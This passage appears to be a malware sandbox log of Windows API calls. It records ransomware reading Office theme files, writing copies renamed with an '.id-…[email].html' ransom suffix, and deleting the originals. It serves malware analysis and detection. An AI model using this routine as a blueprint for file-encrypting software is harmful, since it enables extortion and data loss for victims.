lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".docx") returned 5 [0272.758] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.758] lstrlenW (lpString=".pdf") returned 4 [0272.758] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".xls") returned 4 [0272.758] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString=".xlsx") returned 5 [0272.759] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.759] lstrlenW (lpString=".ppt") returned 4 [0272.759] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.759] lstrlenW (lpString=".zip") returned 4 [0272.759] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString=".rar") returned 4 [0272.759] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString=".bz2") returned 4 [0272.759] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString=".7z") returned 3 [0272.759] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.759] lstrlenW (lpString=".dbf") returned 4 [0272.759] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.759] lstrlenW (lpString=".1cd") returned 4 [0272.759] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.759] lstrlenW (lpString=".jpg") returned 4 [0272.759] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.759] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.759] lstrlenW (lpString="Concourse.eftx") returned 14 [0272.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.777] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=22417) returned 1 [0272.777] CloseHandle (hObject=0x398) returned 1 [0272.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0272.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.778] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.778] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.778] GetLastError () returned 0x0 [0272.778] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x5791, lpOverlapped=0x0) returned 1 [0272.780] WriteFile (in: hFile=0x394, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0272.781] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.781] WriteFile (in: hFile=0x394, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.781] SetEndOfFile (hFile=0x394) returned 1 [0272.781] CloseHandle (hObject=0x394) returned 1 [0272.781] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.781] SetEndOfFile (hFile=0x398) returned 1 [0272.784] CloseHandle (hObject=0x398) returned 1 [0272.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.784] lstrlenW (lpString=".doc") returned 4 [0272.784] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.784] lstrlenW (lpString=".docx") returned 5 [0272.784] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.784] lstrlenW (lpString=".pdf") returned 4 [0272.784] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.784] lstrlenW (lpString=".xls") returned 4 [0272.784] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".xlsx") returned 5 [0272.785] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.785] lstrlenW (lpString=".ppt") returned 4 [0272.785] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.785] lstrlenW (lpString=".zip") returned 4 [0272.785] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".rar") returned 4 [0272.785] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".bz2") returned 4 [0272.785] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".7z") returned 3 [0272.785] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.785] lstrlenW (lpString=".dbf") returned 4 [0272.785] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.785] lstrlenW (lpString=".1cd") returned 4 [0272.785] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.785] lstrlenW (lpString=".jpg") returned 4 [0272.785] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.785] lstrlenW (lpString=".doc") returned 4 [0272.785] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".docx") returned 5 [0272.785] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.785] lstrlenW (lpString=".pdf") returned 4 [0272.785] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".xls") returned 4 [0272.785] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.785] lstrlenW (lpString=".xlsx") returned 5 [0272.785] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.785] lstrlenW (lpString=".ppt") returned 4 [0272.785] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.786] lstrlenW (lpString=".zip") returned 4 [0272.786] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.786] lstrlenW (lpString=".rar") returned 4 [0272.786] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.786] lstrlenW (lpString=".bz2") returned 4 [0272.786] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.786] lstrlenW (lpString=".7z") returned 3 [0272.786] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.786] lstrlenW (lpString=".dbf") returned 4 [0272.786] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.786] lstrlenW (lpString=".1cd") returned 4 [0272.786] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.786] lstrlenW (lpString=".jpg") returned 4 [0272.786] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.786] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.786] lstrlenW (lpString="Couture.eftx") returned 12 [0272.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.820] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=1967905) returned 1 [0272.820] CloseHandle (hObject=0x30c) returned 1 [0272.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0272.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0272.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.856] lstrlenW (lpString=".doc") returned 4 [0272.856] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.856] lstrlenW (lpString=".docx") returned 5 [0272.856] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.856] lstrlenW (lpString=".pdf") returned 4 [0272.856] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.856] lstrlenW (lpString=".xls") returned 4 [0272.856] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.856] lstrlenW (lpString=".xlsx") returned 5 [0272.856] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.856] lstrlenW (lpString=".ppt") returned 4 [0272.857] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.857] lstrlenW (lpString=".zip") returned 4 [0272.857] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString=".rar") returned 4 [0272.857] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString=".bz2") returned 4 [0272.857] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString=".7z") returned 3 [0272.857] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.857] lstrlenW (lpString=".dbf") returned 4 [0272.857] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.857] lstrlenW (lpString=".1cd") returned 4 [0272.857] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.857] lstrlenW (lpString=".jpg") returned 4 [0272.857] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.857] lstrlenW (lpString=".doc") returned 4 [0272.857] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString=".docx") returned 5 [0272.857] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.857] lstrlenW (lpString=".pdf") returned 4 [0272.857] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString=".xls") returned 4 [0272.857] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.857] lstrlenW (lpString=".xlsx") returned 5 [0272.857] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.857] lstrlenW (lpString=".ppt") returned 4 [0272.858] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.858] lstrlenW (lpString=".zip") returned 4 [0272.858] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.858] lstrlenW (lpString=".rar") returned 4 [0272.858] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.858] lstrlenW (lpString=".bz2") returned 4 [0272.858] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.858] lstrlenW (lpString=".7z") returned 3 [0272.858] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.858] lstrlenW (lpString=".dbf") returned 4 [0272.858] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.858] lstrlenW (lpString=".1cd") returned 4 [0272.858] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.858] lstrlenW (lpString=".jpg") returned 4 [0272.858] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.858] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.858] lstrlenW (lpString="Elemental.eftx") returned 14 [0272.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.859] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=314017) returned 1 [0272.859] CloseHandle (hObject=0x394) returned 1 [0272.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0272.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.860] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.860] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0273.435] GetLastError () returned 0x0 [0273.435] ReadFile (in: hFile=0x394, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0273.442] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0273.448] ReadFile (in: hFile=0x394, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.448] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0273.448] SetEndOfFile (hFile=0x2ec) returned 1 [0273.448] CloseHandle (hObject=0x2ec) returned 1 [0273.448] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.448] SetEndOfFile (hFile=0x394) returned 1 [0273.456] CloseHandle (hObject=0x394) returned 1 [0273.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0273.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.464] lstrlenW (lpString=".doc") returned 4 [0273.464] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.464] lstrlenW (lpString=".docx") returned 5 [0273.464] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.465] lstrlenW (lpString=".pdf") returned 4 [0273.465] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString=".xls") returned 4 [0273.465] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString=".xlsx") returned 5 [0273.465] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.465] lstrlenW (lpString=".ppt") returned 4 [0273.465] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.465] lstrlenW (lpString=".zip") returned 4 [0273.465] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString=".rar") returned 4 [0273.465] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString=".bz2") returned 4 [0273.465] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString=".7z") returned 3 [0273.465] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.465] lstrlenW (lpString=".dbf") returned 4 [0273.465] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.465] lstrlenW (lpString=".1cd") returned 4 [0273.465] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.465] lstrlenW (lpString=".jpg") returned 4 [0273.465] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.466] lstrlenW (lpString=".doc") returned 4 [0273.466] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString=".docx") returned 5 [0273.466] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.466] lstrlenW (lpString=".pdf") returned 4 [0273.466] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString=".xls") returned 4 [0273.466] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString=".xlsx") returned 5 [0273.466] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.466] lstrlenW (lpString=".ppt") returned 4 [0273.466] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.466] lstrlenW (lpString=".zip") returned 4 [0273.466] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString=".rar") returned 4 [0273.466] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString=".bz2") returned 4 [0273.466] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString=".7z") returned 3 [0273.466] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.466] lstrlenW (lpString=".dbf") returned 4 [0273.466] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.466] lstrlenW (lpString=".1cd") returned 4 [0273.466] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.466] lstrlenW (lpString=".jpg") returned 4 [0273.466] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.467] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.467] lstrlenW (lpString="Horizon.eftx") returned 12 [0273.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.486] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=211090) returned 1 [0273.488] CloseHandle (hObject=0x394) returned 1 [0273.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0273.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.508] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, 